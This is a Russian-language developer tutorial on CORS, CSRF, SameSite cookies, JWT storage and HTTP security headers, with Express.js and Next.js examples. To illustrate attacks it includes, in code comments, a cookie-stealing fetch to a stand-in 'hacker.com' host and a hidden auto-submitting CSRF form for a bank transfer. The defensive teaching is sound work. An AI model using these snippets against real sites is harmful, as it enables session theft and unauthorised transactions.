Почему каждый разработчик должен это знать
Три аббревиатуры - CSRF, CORS и SameSite cookies - вызывают головную боль у каждого второго разработчика. "Почему мой запрос блокируется?", "Что за CORS error?", "Как правильно настроить куки?" - если вы задавали эти вопросы, эта статья для вас.
Но дело не только в удобстве. Неправильная настройка CORS или cookies - это реальная уязвимость, через которую злоумышленник может украсть данные ваших пользователей, перевести деньги с их счёта или удалить их аккаунт.
Давайте разберёмся раз и навсегда. Простыми словами, с аналогиями и подробными примерами.
Same-Origin Policy: главное правило безопасности браузера
Представьте жилой дом с квартирами. У каждой квартиры свой замок и свой ключ. Жилец квартиры N5 не может зайти в квартиру N8 - даже если он живёт в том же доме. Это правило безопасности.
Same-Origin Policy (SOP) - это такое же правило, но для сайтов в браузере. Оно говорит: скрипт с одного сайта не может читать данные другого сайта.
Два URL считаются "одним сайтом" (same origin), если у них совпадают три вещи: протокол (http/https), домен и порт.
// Примеры: один и тот же origin (сайт) или нет?
// Базовый URL: https://example.com
https://example.com/about // Тот же - путь /about не влияет
https://example.com:443/api // Тот же - 443 это стандартный порт для HTTPS
http://example.com // ДРУГОЙ! http вместо https (разный протокол)
https://api.example.com // ДРУГОЙ! api.example.com - это поддомен (другой домен)
https://example.com:3000 // ДРУГОЙ! порт 3000 вместо стандартного 443
// Почему поддомен = другой сайт?
// Потому что api.example.com может принадлежать
// совсем другому человеку или команде.
// Браузер не может знать наверняка, поэтому блокирует.
Зачем это нужно? Представьте: вы залогинены в интернет-банке (bank.com). Если бы SOP не существовал, любой сайт мог бы отправить запрос в банк от вашего имени и прочитать ответ - баланс, историю транзакций, паспортные данные. SOP предотвращает это: запрос отправится, но скрипт злоумышленника не сможет прочитать ответ.
CORS: когда нужно разрешить кросс-доменные запросы
SOP защищает, но иногда мешает. Например: ваш сайт живёт на https://mysite.com, а ваш API - на https://api.mysite.com. Это два разных origin! Браузер заблокирует запросы.
CORS (Cross-Origin Resource Sharing) - механизм, который позволяет серверу сказать: "Я разрешаю запросы с этого конкретного сайта".
Аналогия: SOP - это охранник, который не пускает чужих. CORS - это список гостей: "Пропустите Иванова и Петрова, остальных нет".
// CORS-ошибка в консоли браузера (знакомая картина для многих):
// "Access to fetch at 'https://api.mysite.com/data' from origin
// 'https://mysite.com' has been blocked by CORS policy:
// No 'Access-Control-Allow-Origin' header is present."
//
// Перевод: "Сервер api.mysite.com не сказал, что разрешает
// запросы с mysite.com. Блокирую."
// Решение: настроить CORS на сервере (Express.js)
import cors from 'cors' // npm install cors
// ПЛОХО: разрешить ВСЕ сайты (Access-Control-Allow-Origin: *)
// Это как убрать замок с двери - заходи кто хочешь
app.use(cors()) // Никогда не делайте так для API с авторизацией!
// ХОРОШО: разрешить только КОНКРЕТНЫЕ сайты
app.use(cors({
origin: [
'https://mysite.com', // Основной сайт
'https://admin.mysite.com', // Админ-панель
'http://localhost:3000', // Для разработки на своём компьютере
],
credentials: true, // Разрешить отправку cookies
methods: ['GET', 'POST', 'PUT', 'DELETE'], // Разрешённые HTTP-методы
allowedHeaders: ['Content-Type', 'Authorization'], // Разрешённые заголовки
}))
Preflight-запросы: "можно мне так делать?"
Для "непростых" запросов (PUT, DELETE, нестандартные заголовки) браузер сначала отправляет "разведывательный" запрос - OPTIONS. Это как позвонить в ресторан перед визитом: "У вас есть свободный столик?"
// Preflight-запрос (браузер отправляет АВТОМАТИЧЕСКИ, вы его не видите)
// Это происходит "за кулисами"
// Шаг 1: Браузер отправляет OPTIONS-запрос
// OPTIONS /api/users HTTP/1.1
// Host: api.mysite.com
// Origin: https://mysite.com
// Access-Control-Request-Method: PUT (я хочу использовать PUT)
// Access-Control-Request-Headers: Content-Type, Authorization (с такими заголовками)
// Шаг 2: Сервер отвечает "да, можно" или "нет, нельзя"
// HTTP/1.1 204 No Content
// Access-Control-Allow-Origin: https://mysite.com (разрешаю этому сайту)
// Access-Control-Allow-Methods: GET, POST, PUT, DELETE (разрешаю эти методы)
// Access-Control-Allow-Headers: Content-Type, Authorization (с этими заголовками)
// Access-Control-Max-Age: 86400 (кэшировать ответ на 24 часа)
// Шаг 3: ТОЛЬКО после "разрешения" браузер отправляет настоящий PUT-запрос
// Важно: если сервер не ответит правильно на OPTIONS -
// настоящий запрос НИКОГДА не будет отправлен.
// Это частая причина ошибок: вы видите CORS error,
// хотя сервер работает - просто он не обрабатывает OPTIONS.
Cookies: как браузер запоминает, что вы залогинены
Когда вы входите на сайт (логин + пароль), сервер создаёт "сессию" и отправляет браузеру маленький кусочек данных - cookie. При каждом следующем запросе браузер автоматически отправляет эту cookie, и сервер понимает: "А, это Иван, он залогинен".
Cookie - как браслет в отеле "всё включено". Надели на руку - и на любом шведском столе вас обслуживают без вопросов. Но если браслет украдут - вор тоже получит бесплатную еду.
Поэтому cookies нужно защищать специальными "флагами" (настройками):
// Установка cookie на сервере (Express.js)
// ПЛОХО: cookie без защиты
// Это как браслет из бумаги - легко скопировать и украсть
res.cookie('session', token)
// ХОРОШО: cookie с полной защитой
res.cookie('session', token, {
// httpOnly: true - САМЫЙ ВАЖНЫЙ ФЛАГ
// Запрещает JavaScript читать эту cookie
// Зачем? Если на сайте есть XSS-уязвимость (вредоносный скрипт),
// скрипт НЕ сможет украсть cookie, потому что у него нет доступа
httpOnly: true,
// secure: true - cookie отправляется ТОЛЬКО по HTTPS
// Зачем? Без этого cookie можно перехватить в кафе с открытым Wi-Fi
// (сниффинг HTTP-трафика)
secure: true,
// sameSite: 'lax' - защита от CSRF (подробнее ниже)
// 'strict' - cookie НЕ отправляется при любом переходе с другого сайта
// 'lax' - cookie отправляется при "безопасной навигации" (GET)
// но НЕ при POST с другого сайта (защита от CSRF)
// 'none' - cookie отправляется всегда (нужен для кросс-доменных API)
sameSite: 'lax',
// maxAge - время жизни cookie в миллисекундах
// 7 дней = 7 * 24 * 60 * 60 * 1000 = 604800000 миллисекунд
maxAge: 7 * 24 * 60 * 60 * 1000,
// path: '/' - cookie доступна на всех страницах сайта
path: '/',
})
Разберём подробнее флаг httpOnly, потому что он критически важен:
// Почему httpOnly так важен
// Без httpOnly - любой JavaScript-код может прочитать cookie:
// document.cookie // "session=abc123; theme=dark; lang=ru"
//
// Если злоумышленник нашёл XSS-уязвимость на вашем сайте
// (например, в комментариях можно вставить HTML),
// он может внедрить скрипт:
//
// fetch('https://hacker.com/steal?cookie=' + document.cookie)
//
// Этот скрипт отправит ВСЕ cookies пользователя злоумышленнику!
// Злоумышленник получит session cookie и сможет войти как пользователь.
// С httpOnly - JavaScript НЕ ВИДИТ защищённые cookies:
// document.cookie // "theme=dark; lang=ru" (session НЕТ в списке!)
//
// Даже если XSS-уязвимость есть - скрипт злоумышленника
// НЕ может украсть сессионную cookie. Она невидима для JS.
CSRF: как злоумышленник заставляет вас делать то, чего вы не хотите
CSRF (Cross-Site Request Forgery - "подделка межсайтового запроса") - одна из самых коварных атак. Суть: злоумышленник заставляет ВАШ браузер отправить запрос от ВАШЕГО имени, используя ВАШИ cookies. И вы даже не узнаете об этом.
Аналогия: представьте, что кто-то подсунул вам на подпись документ, спрятав его среди обычных бумаг. Вы подписали не глядя - а это был перевод денег.
// Как работает CSRF-атака (пошагово):
// Шаг 1: Вы залогинены в интернет-банке (bank.com)
// Браузер хранит cookie: session=abc123
// Шаг 2: Вы открываете сайт злоумышленника (funny-cats.com)
// На этом сайте есть СКРЫТАЯ форма:
//
// <form action="https://bank.com/api/transfer" method="POST" id="hack">
// <input type="hidden" name="to" value="hacker-account" />
// <input type="hidden" name="amount" value="100000" />
// </form>
// <script>document.getElementById('hack').submit()</script>
// Шаг 3: Форма автоматически отправляется
// Браузер видит: "POST-запрос на bank.com? Ок, отправляю."
// И АВТОМАТИЧЕСКИ прикрепляет cookie session=abc123!
// Потому что cookie привязана к домену bank.com
// Шаг 4: bank.com получает запрос с валидной сессией
// Для банка это выглядит как обычный запрос от вас
// Банк переводит 100 000 рублей на счёт хакера
// Вы даже не нажимали никаких кнопок!
// Всё произошло автоматически при открытии страницы
// Почему Same-Origin Policy не спасает?
// SOP запрещает ЧИТАТЬ ответ с другого сайта
// Но НЕ запрещает ОТПРАВЛЯТЬ запросы!
// HTML-формы могут отправлять POST куда угодно - это стандартное поведение
Три способа защиты от CSRF
Способ 1: SameSite cookies (самый простой)
Вспомните флаг sameSite у cookies? Он как раз для этого:
// SameSite=Lax - браузер НЕ отправит cookie при POST с другого сайта
// Это значит: скрытая форма на funny-cats.com НЕ получит вашу session cookie
// и банк увидит неавторизованный запрос
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'lax', // Вот и вся защита! Одна строчка.
})
// sameSite: 'lax' разрешает cookie при "безопасной навигации":
// - Клик по ссылке (GET-запрос) - cookie отправится (чтобы пользователь
// оставался залогиненным при переходе по ссылке из email)
// - Отправка формы (POST) с другого сайта - cookie НЕ отправится
// (защита от CSRF)
Способ 2: CSRF-токен (классический)
Идея: сервер генерирует случайный секретный код (токен) и встраивает его в страницу. При отправке формы клиент должен передать этот токен обратно. Злоумышленник не знает токен и не может подделать форму.
// Серверная часть: генерация и проверка CSRF-токена
import crypto from 'crypto'
// Middleware: генерируем токен
function csrfToken(req, res, next) {
if (!req.session.csrfToken) {
// Генерируем 32 случайных байта и превращаем в строку
req.session.csrfToken = crypto.randomBytes(32).toString('hex')
}
// Передаём токен клиенту через cookie
// Обратите внимание: httpOnly: false - JS должен прочитать этот токен!
res.cookie('csrf-token', req.session.csrfToken, {
httpOnly: false, // JS нужен доступ для чтения
secure: true,
sameSite: 'strict',
})
next()
}
// Middleware: проверяем токен при POST/PUT/DELETE
function verifyCsrf(req, res, next) {
// GET, HEAD, OPTIONS - безопасные методы, пропускаем
if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
return next()
}
// Токен должен быть в заголовке X-CSRF-Token
const token = req.headers['x-csrf-token']
if (!token || token !== req.session.csrfToken) {
return res.status(403).json({ error: 'CSRF token invalid' })
}
next()
}
app.use(csrfToken)
app.use(verifyCsrf)
// Клиентская часть: отправляем CSRF-токен с каждым запросом
// Читаем токен из cookie
function getCsrfToken() {
const match = document.cookie.match(/csrf-token=([^;]+)/)
return match ? match[1] : ''
}
// Обёртка для fetch: автоматически добавляет CSRF-токен
async function apiRequest(url, options = {}) {
return fetch(url, {
...options,
credentials: 'include', // Отправлять cookies
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken(), // CSRF-токен в заголовке
...options.headers,
},
})
}
// Злоумышленник с funny-cats.com НЕ может:
// 1. Прочитать cookie csrf-token (Same-Origin Policy)
// 2. Отправить заголовок X-CSRF-Token (он не знает значение)
// Поэтому его запрос будет отклонён!
JWT vs Session cookies: как хранить авторизацию
Два основных подхода к хранению "факта, что пользователь залогинен":
Session cookies (классические сессии):
- Сервер создаёт "сессию" - запись в памяти или в базе данных
- Cookie содержит только ID сессии (короткую строку)
- Вся информация о пользователе - на сервере
- Можно мгновенно "выкинуть" пользователя (удалить сессию)
- Проще защитить от XSS (httpOnly cookie)
JWT (JSON Web Token):
- Сервер НИЧЕГО не хранит - вся информация в самом токене
- Токен содержит ID пользователя, роль, срок действия
- Токен подписан секретным ключом (нельзя подделать)
- Нельзя отозвать до истечения срока (без специального списка)
- Проще масштабировать (серверу не нужна база сессий)
// Лучшее решение: JWT в httpOnly cookie
// Берём преимущества обоих подходов:
// - Stateless (серверу не нужно хранить сессии)
// - Защита от XSS (JS не может прочитать cookie)
// При успешном входе: создаём JWT и кладём в httpOnly cookie
app.post('/api/login', async (req, res) => {
// Проверяем логин и пароль
const user = await authenticate(req.body)
if (!user) return res.status(401).json({ error: 'Неверные данные' })
// Создаём JWT-токен
// jwt.sign(данные, секретный_ключ, опции)
const token = jwt.sign(
{ userId: user.id, role: user.role }, // Данные в токене
process.env.JWT_SECRET, // Секретный ключ (из переменной окружения)
{ expiresIn: '7d' } // Срок действия: 7 дней
)
// Кладём JWT в httpOnly cookie
// JavaScript НЕ может его прочитать - защита от XSS
// Но браузер автоматически отправляет cookie при каждом запросе
res.cookie('auth', token, {
httpOnly: true, // JS не видит
secure: true, // Только HTTPS
sameSite: 'lax', // Защита от CSRF
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 дней
})
// Возвращаем только публичные данные (без токена!)
res.json({ user: { id: user.id, name: user.name, role: user.role } })
})
// Middleware: проверяем JWT из cookie при каждом запросе
function authMiddleware(req, res, next) {
// req.cookies.auth - cookie с JWT
// (нужен middleware cookie-parser: npm install cookie-parser)
const token = req.cookies.auth
if (!token) return res.status(401).json({ error: 'Не авторизован' })
try {
// jwt.verify проверяет подпись и срок действия
const decoded = jwt.verify(token, process.env.JWT_SECRET)
req.user = decoded // Теперь в req.user есть userId и role
next()
} catch {
res.clearCookie('auth') // Удаляем просроченный токен
res.status(401).json({ error: 'Токен истёк, залогиньтесь снова' })
}
}
Частые ошибки (и как их избежать)
- CORS: origin: '*' + credentials: true - это запрещено спецификацией! Браузер просто проигнорирует cookies. Если нужны cookies - указывайте конкретные домены
- JWT в localStorage - любой XSS-скрипт может прочитать localStorage. Храните JWT в httpOnly cookie
- Забыли Secure флаг - без него cookie передаётся по HTTP и может быть перехвачена в открытом Wi-Fi
- SameSite: 'none' без CSRF-защиты - если cookie отправляется кросс-доменно, обязательно добавьте CSRF-токен
- Не проверяете Content-Type - CSRF-атака через HTML-форму отправляет данные как
application/x-www-form-urlencoded. Если ваш API принимает толькоapplication/jsonи проверяет это - многие CSRF-атаки не сработают
Заголовки безопасности: дополнительная защита
Помимо CORS и cookies, есть специальные HTTP-заголовки, которые добавляют дополнительный уровень защиты. Настраиваются один раз - защищают всегда:
// Настройка заголовков безопасности в Express.js
// Можно использовать библиотеку helmet: npm install helmet
import helmet from 'helmet'
app.use(helmet()) // Включает все заголовки безопасности
// Или настраиваем вручную, чтобы понимать, что каждый делает:
// X-Content-Type-Options: nosniff
// Запрещает браузеру "угадывать" тип файла
// Без этого браузер может выполнить .jpg как JavaScript,
// если злоумышленник подменил содержимое
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff')
next()
})
// X-Frame-Options: DENY
// Запрещает встраивать ваш сайт в iframe на другом сайте
// Защита от clickjacking: злоумышленник показывает ваш сайт
// в прозрачном iframe поверх своей страницы.
// Пользователь думает, что кликает на кнопку злоумышленника,
// а на самом деле кликает на кнопку "Удалить аккаунт" на вашем сайте
app.use((req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY')
next()
})
// Strict-Transport-Security (HSTS)
// Говорит браузеру: "ВСЕГДА используй HTTPS для этого сайта"
// Даже если пользователь введёт http:// - браузер сам переключит на https://
app.use((req, res, next) => {
res.setHeader(
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains'
// max-age=31536000 = 1 год (в секундах)
// includeSubDomains - распространяется на поддомены
)
next()
})
// Content-Security-Policy (CSP)
// Указывает, откуда можно загружать скрипты, стили, картинки
// Самая мощная защита от XSS, но и самая сложная в настройке
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; " + // По умолчанию - только свой домен
"script-src 'self'; " + // Скрипты - только свои
"style-src 'self' 'unsafe-inline'; " + // Стили - свои + inline
"img-src 'self' data: https:; " + // Картинки - свои + data: + любой HTTPS
"font-src 'self'; " + // Шрифты - только свои
"connect-src 'self' https://api.mysite.com" // API-запросы - свой + API
)
next()
})
Практический пример: настройка безопасности для Next.js
Вот готовая конфигурация безопасности для реального проекта на Next.js:
// next.config.mjs - настройка заголовков безопасности
const securityHeaders = [
{
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
key: 'X-Frame-Options',
value: 'DENY',
},
{
key: 'X-XSS-Protection',
value: '1; mode=block',
},
{
key: 'Referrer-Policy',
// strict-origin-when-cross-origin:
// При переходе на другой сайт отправляется только домен
// (не полный URL с параметрами)
value: 'strict-origin-when-cross-origin',
},
]
export default {
async headers() {
return [
{
// Применяем ко всем страницам
source: '/(.*)',
headers: securityHeaders,
},
]
},
}
// Middleware для CORS в Next.js API Routes
// src/middleware.ts
import { NextResponse } from 'next/server'
import type { NextRequest } from 'next/server'
export function middleware(request: NextRequest) {
// Только для API-маршрутов
if (request.nextUrl.pathname.startsWith('/api/')) {
const response = NextResponse.next()
// Разрешаем запросы только с нашего домена
const allowedOrigins = [
'https://mysite.com',
'http://localhost:3000',
]
const origin = request.headers.get('origin')
if (origin && allowedOrigins.includes(origin)) {
response.headers.set('Access-Control-Allow-Origin', origin)
response.headers.set('Access-Control-Allow-Credentials', 'true')
response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE')
response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization')
}
return response
}
}
Чек-лист безопасности (распечатайте и повесьте на стену)
- Все cookies:
HttpOnly+Secure+SameSite=Lax - CORS: конкретные домены вместо
* - CSRF-токен для cookies с
SameSite=None - JWT в httpOnly cookie, НЕ в localStorage
- Заголовки безопасности:
X-Content-Type-Options: nosniff,X-Frame-Options: DENY - HTTPS везде (включая dev-окружение для тестирования cookies)
- Content-Type проверяется на сервере
- Rate limiting на эндпоинтах авторизации (защита от перебора паролей)
Итого
CORS, CSRF и cookies - это три грани одной проблемы: как безопасно передавать данные между клиентом и сервером. Same-Origin Policy защищает по умолчанию, CORS разрешает нужные исключения, SameSite cookies предотвращают CSRF, а httpOnly защищает от кражи токенов через XSS.
Запомните три правила: cookies всегда с httpOnly + Secure + SameSite, CORS никогда с * при авторизации, JWT в cookie, а не в localStorage. Этого достаточно, чтобы закрыть 90% уязвимостей.
Нужна проверка безопасности вашего веб-приложения или помощь с настройкой авторизации? Напишите нам - проведём аудит и исправим уязвимости.